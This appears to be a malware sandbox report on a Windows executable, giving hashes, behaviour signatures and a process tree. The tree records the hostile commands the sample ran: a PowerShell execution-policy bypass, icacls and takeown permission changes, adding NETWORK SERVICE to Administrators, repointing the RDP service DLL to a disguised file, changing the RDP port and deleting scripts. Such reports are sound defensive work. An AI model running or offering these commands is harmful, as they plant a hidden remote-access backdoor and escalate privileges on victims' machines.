Analysis

  • max time kernel
    6s
  • max time network
    122s
  • platform
    windows7_x64
  • resource
    win7-20231215-en
  • resource tags

    arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
  • submitted
    22-12-2023 01:18

General

  • Target

    43a5e55b1251affee0cf7494ac9c63b4.exe

  • Size

    4.3MB

  • MD5

    43a5e55b1251affee0cf7494ac9c63b4

  • SHA1

    4a53bd2c188cf869b2a81b047940faf1ea03e1cb

  • SHA256

    e2b372effc4c426a1e63d2629bd565eabeeaf042b9e0aea11701e09f42921a3c

  • SHA512

    f1dde143fd0be1242a6d211770a60574929283e953262459f9898ac7822e0652aa7fe323fe1e3af36a6082587d36382e7e42d5a4dee74a111800027085e40343

  • SSDEEP

    98304:pkucM0/VMuGOcsqLpBX1P3Xhm6SrnsQ2BUotyFoAqae:EM0/COsX1k6AnsFBUQyFoAq

Score
9/10

Malware Config

Signatures

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Possible privilege escalation attempt 8 IoCs
  • Modifies file permissions 1 TTPs 8 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 16 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\43a5e55b1251affee0cf7494ac9c63b4.exe
    "C:\Users\Admin\AppData\Local\Temp\43a5e55b1251affee0cf7494ac9c63b4.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2496
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2740
      • C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
        "C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\car5-tg7.cmdline"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2712
        • C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
          C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES25AB.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC259A.tmp"
          4⤵
            PID:2988
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
          3⤵
            PID:2152
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
            3⤵
              PID:2708
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
              3⤵
                PID:1760
              • C:\Windows\SysWOW64\icacls.exe
                "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
                3⤵
                • Possible privilege escalation attempt
                • Modifies file permissions
                PID:2824
              • C:\Windows\SysWOW64\icacls.exe
                "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
                3⤵
                • Possible privilege escalation attempt
                • Modifies file permissions
                PID:348
              • C:\Windows\SysWOW64\reg.exe
                "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
                3⤵
                  PID:1200
                • C:\Windows\SysWOW64\cmd.exe
                  "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
                  3⤵
                    PID:3056
                  • C:\Windows\SysWOW64\cmd.exe
                    "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
                    3⤵
                      PID:840
                    • C:\Windows\SysWOW64\net.exe
                      "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                      3⤵
                        PID:1496
                      • C:\Windows\SysWOW64\reg.exe
                        "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
                        3⤵
                        • Modifies registry key
                        PID:2272
                      • C:\Windows\SysWOW64\reg.exe
                        "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
                        3⤵
                          PID:312
                        • C:\Windows\SysWOW64\icacls.exe
                          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
                          3⤵
                          • Possible privilege escalation attempt
                          • Modifies file permissions
                          PID:1320
                        • C:\Windows\SysWOW64\icacls.exe
                          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
                          3⤵
                          • Possible privilege escalation attempt
                          • Modifies file permissions
                          PID:1280
                        • C:\Windows\SysWOW64\icacls.exe
                          "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
                          3⤵
                          • Possible privilege escalation attempt
                          • Modifies file permissions
                          PID:320
                        • C:\Windows\SysWOW64\icacls.exe
                          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
                          3⤵
                          • Possible privilege escalation attempt
                          • Modifies file permissions
                          PID:1920
                        • C:\Windows\SysWOW64\icacls.exe
                          "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
                          3⤵
                          • Possible privilege escalation attempt
                          • Modifies file permissions
                          PID:2948
                        • C:\Windows\SysWOW64\takeown.exe
                          "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
                          3⤵
                          • Possible privilege escalation attempt
                          • Modifies file permissions
                          PID:2940
                        • C:\Windows\SysWOW64\cmd.exe
                          "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
                          3⤵
                            PID:1172
                          • C:\Windows\SysWOW64\cmd.exe
                            "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
                            3⤵
                              PID:952
                        • C:\Windows\SysWOW64\net1.exe
                          C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                          1⤵
                            PID:2264
                          • C:\Windows\SysWOW64\cmd.exe
                            cmd /c net start rdpdr
                            1⤵
                              PID:628
                              • C:\Windows\SysWOW64\net.exe
                                net start rdpdr
                                2⤵
                                  PID:2072
                              • C:\Windows\SysWOW64\cmd.exe
                                cmd /c net start TermService
                                1⤵
                                  PID:2576
                                  • C:\Windows\SysWOW64\net.exe
                                    net start TermService
                                    2⤵
                                      PID:2052
                                  • C:\Windows\SysWOW64\net1.exe
                                    C:\Windows\system32\net1 start TermService
                                    1⤵
                                      PID:1940
                                    • C:\Windows\SysWOW64\net1.exe
                                      C:\Windows\system32\net1 start rdpdr
                                      1⤵
                                        PID:3068

                                      Network

                                      MITRE ATT&CK Enterprise v15

                                      Replay Monitor

                                      Loading Replay Monitor...

                                      Downloads

                                      • C:\Users\Admin\AppData\Local\Temp\RES25AB.tmp

                                        Filesize

                                        1KB

                                        MD5

                                        0bc316b88124442619532ea007bd7a5b

                                        SHA1

                                        55854867fcc11f9dfbb80b5d94347808a306b48d

                                        SHA256

                                        e2da5ad6ba88af52a5433f1cf7c21b0760a2c90274a1764be32efa4882ea0fc2

                                        SHA512

                                        f6cb2110e1bc35ff58f5d0e9724134d999dba6cfc295a8c481d33680a0c1a99075767113d82acfbea59b18b7776d1d1933788fdece541f5ba21504296d0926cb

                                      • C:\Users\Admin\AppData\Local\Temp\car5-tg7.dll

                                        Filesize

                                        3KB

                                        MD5

                                        b317d526a0ee0ac9d8ccdb320a59aa58

                                        SHA1

                                        bcea8daddd2224bed2282597c1f6b4d985d95886

                                        SHA256

                                        b58152dccb3b2a500ec007ba48c1d8fdf1b6f3f8bf03f5dca2db14f67e5b5511

                                        SHA512

                                        95035cb30f8f76643c26160264d0006e349be16db0cd0a8d355c82f376b7e5375d00d3a9b154615c0398840ba6b40779f10104066cd8aae7616dbdbeee4a20a9

                                      • C:\Users\Admin\AppData\Local\Temp\car5-tg7.pdb

                                        Filesize

                                        7KB

                                        MD5

                                        58e4f3608379b302f5939c95327dceea

                                        SHA1

                                        3d9feb8585072b815b76307659431eced779df74

                                        SHA256

                                        0e99c7ab88e99a0dcb46e675ddc903fc0d1f29b2afb004106beaba818eb61061

                                        SHA512

                                        3f75887673105b63fca607e99ee7b517dc2148bed3ecdeb4d370b8c8e048904168543645586f4c0140a6509abd97c29e6576a17b9fcd68ad1c4d5be8af71bb4a

                                      • C:\Users\Admin\AppData\Local\Temp\get-dnsprovider.PS1

                                        Filesize

                                        19KB

                                        MD5

                                        68a381d9e9e25dafcd117f36b25f677a

                                        SHA1

                                        186e7223b7181d6ad82000e6b888b7b859e7486c

                                        SHA256

                                        49c248ddd20c5ecf3eb0be0b1ff69e9ec57d47e7d9106187aede6afc9f4ffca8

                                        SHA512

                                        9ad3e2525ea37c22873ffddb67facb6a635037b1f3926e4a93db2b3e3d2ea0cb262bb1ed1afde087d074360ba1a90db144e7fce82abef0a2d59898a494a88d60

                                      • C:\Users\Admin\AppData\Local\Temp\ready.ps1

                                        Filesize

                                        1KB

                                        MD5

                                        28d9755addec05c0b24cca50dfe3a92b

                                        SHA1

                                        7d3156f11c7a7fb60d29809caf93101de2681aa3

                                        SHA256

                                        abb6ceb444b3dc29fcdcb8bda4935a6a792b85bb7049cb2710d97415d9411af9

                                        SHA512

                                        891a72eeef42be3f04067225a9665020704c99f9c17473ca57e5b946dfa35cb469fa91a794ea30115ce3ed0e940edb3ccff69a16a888379f5ac46a12afaa4c42

                                      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

                                        Filesize

                                        7KB

                                        MD5

                                        ce73e10d416d8a4430248c32256fdc72

                                        SHA1

                                        4a501150b8b6f822d0553e439aceb1b4766dff4f

                                        SHA256

                                        9ac9a375742ba87d0ef8a10c2975f7d01790757d8051e2bed9bfd9a7bb0500b3

                                        SHA512

                                        5d5381b0258781720a7bc039e04e0ce4a65752db5c834ae272f345064f71c679b05afd9032f825cc839eaca04378776061daa8d421f40f79fabab2e4f7bb6456

                                      • C:\Windows\SysWOW64\rfxvmt.dll

                                        Filesize

                                        40KB

                                        MD5

                                        dc39d23e4c0e681fad7a3e1342a2843c

                                        SHA1

                                        58fd7d50c2dca464a128f5e0435d6f0515e62073

                                        SHA256

                                        6d9a41a03a3bd5362e3af24f97ba99d2f9927d1375e4f608942a712866d133b9

                                        SHA512

                                        5cb75e04ce9f5c3714e30c4fd5b8dbcd3952c3d756556dd76206111fe5b4e980c6c50209ab0914ab3afe15bd9c33ff0d49463ca11547214122859918de2a58f7

                                      • \??\c:\Users\Admin\AppData\Local\Temp\CSC259A.tmp

                                        Filesize

                                        652B

                                        MD5

                                        6d170dc8fffed91d71f5355ff619f154

                                        SHA1

                                        308caccf2091aa204d2cb5138f08aab473ebba0b

                                        SHA256

                                        bcbe2fcee76a6cd4e06d66ab6d71b6889598c4c1f9fa9d654851c8e574d5b625

                                        SHA512

                                        3b01d8900564bb44723eecc772df9c2fb9143ec0875f84ac78f422635bb9db951a40fe5d715bab6249685e373e06cac49153fa442edfd0cba099a678558caa87

                                      • \??\c:\Users\Admin\AppData\Local\Temp\car5-tg7.0.cs

                                        Filesize

                                        424B

                                        MD5

                                        9f8ab7eb0ab21443a2fe06dab341510e

                                        SHA1

                                        2b88b3116a79e48bab7114e18c9b9674e8a52165

                                        SHA256

                                        e1a4fbe36125e02e100e729ce92ab74869423da87cb46da6e3c50d7c4410b2d9

                                        SHA512

                                        53f5dc4c853af5a412fde895635ef4b2de98a165e3546130fdd17a37a5c3b177e21eccf70a5ddf936ac491da2d7e8fcdbc1e564a95ec01b097841aa78869989b

                                      • \??\c:\Users\Admin\AppData\Local\Temp\car5-tg7.cmdline

                                        Filesize

                                        309B

                                        MD5

                                        1efd4ccc016355c30be7932fcc9467dc

                                        SHA1

                                        7c71df0cfc9c3a2504b2538f4381eec805407fc0

                                        SHA256

                                        309ad2e20dadc50b4cc7c14d286e2f14b4acf61b8dce3efe77e5d3694bb57c00

                                        SHA512

                                        26a4fe8c7e33a771fa16d517d415353135327dad5e1494ec27df7157210db11a0e3d85890a96efb09034eda0fb7ef7bd308a274906bd818e24ebc2e56fa13f06

                                      • memory/1760-60-0x000000006F6C0000-0x000000006FC6B000-memory.dmp

                                        Filesize

                                        5.7MB

                                      • memory/1760-55-0x0000000002AE0000-0x0000000002B20000-memory.dmp

                                        Filesize

                                        256KB

                                      • memory/1760-57-0x0000000002AE0000-0x0000000002B20000-memory.dmp

                                        Filesize

                                        256KB

                                      • memory/1760-59-0x000000006F6C0000-0x000000006FC6B000-memory.dmp

                                        Filesize

                                        5.7MB

                                      • memory/1760-58-0x0000000002AE0000-0x0000000002B20000-memory.dmp

                                        Filesize

                                        256KB

                                      • memory/1760-56-0x000000006F6C0000-0x000000006FC6B000-memory.dmp

                                        Filesize

                                        5.7MB

                                      • memory/2152-45-0x0000000002740000-0x0000000002780000-memory.dmp

                                        Filesize

                                        256KB

                                      • memory/2152-44-0x000000006F6C0000-0x000000006FC6B000-memory.dmp

                                        Filesize

                                        5.7MB

                                      • memory/2152-46-0x000000006F6C0000-0x000000006FC6B000-memory.dmp

                                        Filesize

                                        5.7MB

                                      • memory/2152-48-0x000000006F6C0000-0x000000006FC6B000-memory.dmp

                                        Filesize

                                        5.7MB

                                      • memory/2496-3-0x0000000007D80000-0x0000000008184000-memory.dmp

                                        Filesize

                                        4.0MB

                                      • memory/2496-2-0x0000000004C40000-0x0000000005042000-memory.dmp

                                        Filesize

                                        4.0MB

                                      • memory/2496-1-0x0000000004830000-0x0000000004C37000-memory.dmp

                                        Filesize

                                        4.0MB

                                      • memory/2496-63-0x0000000007940000-0x0000000007980000-memory.dmp

                                        Filesize

                                        256KB

                                      • memory/2496-62-0x0000000074750000-0x0000000074E3E000-memory.dmp

                                        Filesize

                                        6.9MB

                                      • memory/2496-4-0x0000000000400000-0x0000000002F51000-memory.dmp

                                        Filesize

                                        43.3MB

                                      • memory/2496-0-0x0000000004830000-0x0000000004C37000-memory.dmp

                                        Filesize

                                        4.0MB

                                      • memory/2496-5-0x0000000074750000-0x0000000074E3E000-memory.dmp

                                        Filesize

                                        6.9MB

                                      • memory/2496-7-0x0000000007940000-0x0000000007980000-memory.dmp

                                        Filesize

                                        256KB

                                      • memory/2496-6-0x0000000007940000-0x0000000007980000-memory.dmp

                                        Filesize

                                        256KB

                                      • memory/2496-47-0x0000000004830000-0x0000000004C37000-memory.dmp

                                        Filesize

                                        4.0MB

                                      • memory/2708-38-0x000000006F6C0000-0x000000006FC6B000-memory.dmp

                                        Filesize

                                        5.7MB

                                      • memory/2708-37-0x000000006F6C0000-0x000000006FC6B000-memory.dmp

                                        Filesize

                                        5.7MB

                                      • memory/2708-36-0x000000006F6C0000-0x000000006FC6B000-memory.dmp

                                        Filesize

                                        5.7MB

                                      • memory/2740-13-0x000000006F6C0000-0x000000006FC6B000-memory.dmp

                                        Filesize

                                        5.7MB

                                      • memory/2740-12-0x000000006F6C0000-0x000000006FC6B000-memory.dmp

                                        Filesize

                                        5.7MB

                                      • memory/2740-72-0x000000006F6C0000-0x000000006FC6B000-memory.dmp

                                        Filesize

                                        5.7MB

                                      • memory/2740-73-0x000000006F6C0000-0x000000006FC6B000-memory.dmp

                                        Filesize

                                        5.7MB

                                      We care about your privacy.

                                      This website stores cookies on your computer. These cookies are used to improve your website experience and provide more personalized services to you, both on this website and through other media. To find out more about the cookies we use, see our Privacy Policy.